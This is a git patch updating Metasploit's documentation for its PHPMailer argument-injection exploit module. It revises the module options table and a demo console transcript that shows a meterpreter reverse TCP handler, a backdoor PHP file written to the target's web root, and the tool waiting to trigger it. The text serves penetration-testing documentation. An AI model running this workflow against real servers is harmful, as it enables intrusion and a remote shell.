From 960c1a1434a4b8a33eb0e302222b4a9878c449a4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 10 Jan 2017 17:44:22 -0500 Subject: [PATCH] Update docs to reflect the final phpmailer module --- .../multi/http/phpmailer_arg_injection.md | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md b/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md index 0d9d91b8ae..a84d91529e 100644 --- a/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md +++ b/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md @@ -23,20 +23,21 @@ exploitation can take a few minutes. Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768) ``` -msf (S:0 J:0) exploit(php_mailer) > options +msf (S:0 J:0) exploit(php_mailer) > options Module options (exploit/linux/http/php_mailer): - Name Current Setting Required Description - ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST 192.168.90.134 yes The target address - RPORT 8080 yes The target port - SSL false no Negotiate SSL/TLS for outgoing connections - TARGETURI / yes Path to the application root - VERSION <=5.2.18 yes The version of PHPMailer (Accepted: <=5.2.18, 5.2.20) - VHOST no HTTP server virtual host - WEB_ROOT /www yes Path to the web root + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.90.134 yes The target address + RPORT 8080 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Path to the application root + TRIGGERURI no Path to the uploaded payload + VHOST no HTTP server virtual host + WEB_ROOT /www yes Path to the web root + Payload options (php/meterpreter/reverse_tcp): @@ -58,7 +59,7 @@ Exploit target: msf (S:0 J:0) exploit(php_mailer) > rexploit [*] Reloading module... -[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444 +[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444 [*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php [*] [2016.12.29-17:04:07] Sleeping before requesting the written file [*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload